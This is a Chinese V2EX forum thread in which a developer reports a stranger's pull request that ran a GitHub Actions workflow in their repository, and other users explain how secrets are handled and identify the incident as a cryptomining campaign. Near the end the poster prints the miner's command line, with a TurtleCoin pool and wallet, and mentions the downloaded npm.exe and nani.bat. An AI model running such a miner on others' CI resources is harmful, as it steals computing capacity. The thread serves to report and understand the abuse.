关于 github 中的 workflow 可以随便执行的问题 - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Drinker
V2EX    GitHub

关于 github 中的 workflow 可以随便执行的问题

  •  
  •   Drinker 2021-04-12 10:33:11 +08:00 2976 次点击
    这是一个创建于 1642 天前的主题,其中的信息可能已经有所发展或是发生改变。

    这两天发生的,之前申请了个 360 E5 的账号,用 github 的 workflow 跑 API 来续期,然后这两天发现有个家伙提了个 pr, 就是此人 https://githu.com/laksjduetryuism,然后再 actions 里面看看到对方提的 pr 可以直接再工作流里面执行, https://imgur.com/xyv9435, pr 我还没有合并, https://imgur.com/bAV9nqm, 就直接生效了?如果这样可以执行不是就可以获取我再项目里面设置的 id 和 secret ... 害怕。。。

    第 1 条附言    2021-04-12 14:03:22 +08:00

    经过老哥的提醒,已确认是挖矿: https://zhuanlan.zhihu.com/p/363729726

    29 条回复    2021-04-13 07:40:03 +08:00
    just1
        1
    just1  
       2021-04-12 10:37:28 +08:00
    ...你的 workflow 的触发条件有 pr,不这样才奇怪呢。执行归执行除非在执行中输出了 secret,不然别人又看不到
    Drinker
        2
    Drinker  
    OP
       2021-04-12 10:49:07 +08:00
    @just1 不知道是不是我理解错掉。如果 workflow 的触发条件有 pr,那执行的也是应该是我自己的 workflow,而不是 pr 里面的 workflow,他提过来的 pr 里面是一个 workflow 的 yml 定义文件,假设他再 yml 里面使用 curl 发送一个附带了 环境变量 ID_LIST 和 KEY_LIST 到他的服务器上,那不是就被盗了 id 和 secret ...
    InternetExplorer
        3
    InternetExplorer  
       2021-04-12 10:54:10 +08:00
    开源项目也没什么问题吧
    2wex
        4
    2wex  
       2021-04-12 10:57:20 +08:00
    PR 触发的 action 不能获取 secret

    放心,只要你遵守 github actions 的规矩,它还是很安全的
    coolcoffee
        5
    coolcoffee  
       2021-04-12 11:08:16 +08:00
    Pull Request Trigger 执行的你项目分支的,所以就算别人提交触发了你原有流程,也不会造成什么太大影响。secret 就算被误输出也会被打码掉。
    baobao1270
        6
    baobao1270  
       2021-04-12 11:34:23 +08:00 via Android
    好像听说最近有人拿 action 挖矿的,专门找小众 repo 提 pr
    Drinker
        7
    Drinker  
    OP
       2021-04-12 11:39:58 +08:00
    @InternetExplorer 已经续期了三次,项目没问题。
    Drinker
        8
    Drinker  
    OP
       2021-04-12 11:41:27 +08:00
    @2wex 如果提交的分支里面使用 curl 发送一个附带了 环境变量 ID 和 KEY 的请求到自己的服务器上不知道会不会被盗掉,等有时间我试试。
    Drinker
        9
    Drinker  
    OP
       2021-04-12 11:43:01 +08:00
    @coolcoffee 如果分支里面使用 curl 发送请求,参数是环境变量里面的 secret,不知道会不会被发出去...
    Drinker
        10
    Drinker  
    OP
       2021-04-12 11:43:54 +08:00
    @baobao1270 有可能,我看 yml 里面下了一个脚本,但是是再 win 上跑的,在我这没跑起来。
    learningman
        11
    learningman  
       2021-04-12 12:09:24 +08:00 via Android
    @Drinker 你没看懂人家在说什么吗。。。环境变量里根本就不会有 secret
    dingwen07
        12
    dingwen07  
       2021-04-12 12:11:32 +08:00 via iPhone
    触发器不包括 pr 应该就可以吧
    顺便这个用户感觉很可疑,可能是滥用用户,准备报告一下
    楼主的自动跑 API 的 yaml 能否分享一下
    coolcoffee
        13
    coolcoffee  
       2021-04-12 12:21:10 +08:00
    @Drinker 只要你别把代码合并到你的 GitHub 仓库里面,它做仓库代码上的 action 就不可能在你的仓库上执行。

    PR trigger 很常见的,像开源项目提交前会做好多规则检查。全部绿色通过以后才可以继续合并。
    otakustay
        14
    otakustay  
       2021-04-12 12:24:33 +08:00
    workflow 触发条件是 PR 就是用来验证 PR 是否合格能否合并的,只触发你自己 PR 还有啥用
    Drinker
        15
    Drinker  
    OP
       2021-04-12 13:13:05 +08:00
    Drinker
        16
    Drinker  
    OP
       2021-04-12 13:15:30 +08:00
    @learningman 我可能没搞清楚,因为看到这个
    ```
    env:
    ID_LIST: ${{ secrets.ID_LIST }} # secrets_id 提供
    KEY_LIST: ${{ secrets.KEY_LIST }} # secrets_key 提供
    ID_LIST2: ${{ secrets.ID_LIST2 }} # secrets_id 提供
    KEY_LIST2: ${{ secrets.KEY_LIST2 }} # secrets_key 提供
    run: |
    echo $ID_LIST > idlist.txt
    echo $KEY_LIST > keylist.txt
    ```
    所以很奇怪。
    Drinker
        17
    Drinker  
    OP
       2021-04-12 13:22:16 +08:00
    @coolcoffee 我没有合并 pr,但是的确在我的 aciton 里面有执行的情况,只不过 window 的 yml 无法执行,所以没有成功。
    相同的受害者 https://github.com/hjdd777/AutoApiS/actions 。这个人和我一样,也被提交了 pr
    Drinker
        18
    Drinker  
    OP
       2021-04-12 13:24:44 +08:00
    @otakustay 那是不是说有可能出现上面我说的那种情况,能获取得到我设置的 id 和 secret 。上面有个老哥说不行,我也不清楚。因为触发 api 的 yml 文件里面是获取了 id 和 secret 才触发的 api 。
    protonme
        19
    protonme  
       2021-04-12 13:30:58 +08:00 via iPhone
    可以看看 repo 设置中 Actions - Actions permissions
    Trim21
        20
    Trim21  
       2021-04-12 13:35:06 +08:00 via Android
    …他读不到你的 secrets
    mangoDB
        21
    mangoDB  
       2021-04-12 13:38:21 +08:00
    楼主请看这个帖子。

    [黑客用 GitHub 服务器挖矿,三天跑了 3 万个任务,代码惊现中文]( https://zhuanlan.zhihu.com/p/363729726 )
    laoyur
        22
    laoyur  
       2021-04-12 13:42:49 +08:00
    哈哈,挖矿挖到楼主头上了,笑出声
    Drinker
        23
    Drinker  
    OP
       2021-04-12 13:48:29 +08:00
    @hzcer OK,我去瞅瞅。
    Drinker
        24
    Drinker  
    OP
       2021-04-12 13:48:54 +08:00
    @Trim21 那就好,谢谢。
    Drinker
        25
    Drinker  
    OP
       2021-04-12 13:49:58 +08:00
    @mangoDB 就是这个....
    npm.exe --algorithm argon2id_chukwa2
    --pool turtlecoin.herominers.com:10380
    --wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
    --password xo
    yml 文件里面就是下载 npm.exe 和 nani.bat 。
    Drinker
        26
    Drinker  
    OP
       2021-04-12 13:50:58 +08:00
    @laoyur 第一次遇到这种,应该就是上面说的挖矿了。
    patrickyoung
        27
    patrickyoung  
       2021-04-12 16:29:08 +08:00 via iPhone
    这个 bug 已经有人在 src 交了,现在是有设置的,自己去设置里设只允许本地就行
    Drinker
        28
    Drinker  
    OP
       2021-04-12 19:19:48 +08:00
    @patrickyoung 谢谢,已经给官方处理了。
    raaaaaar
        29
    raaaaaar  
       2021-04-13 07:40:03 +08:00 via Android
    自由就是被这群人加了限制。。
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     3010 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 28ms UTC 12:05 PVG 20:05 LAX 05:05 JFK 08:05
    Do have faith in what you're doing.
    ubao snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86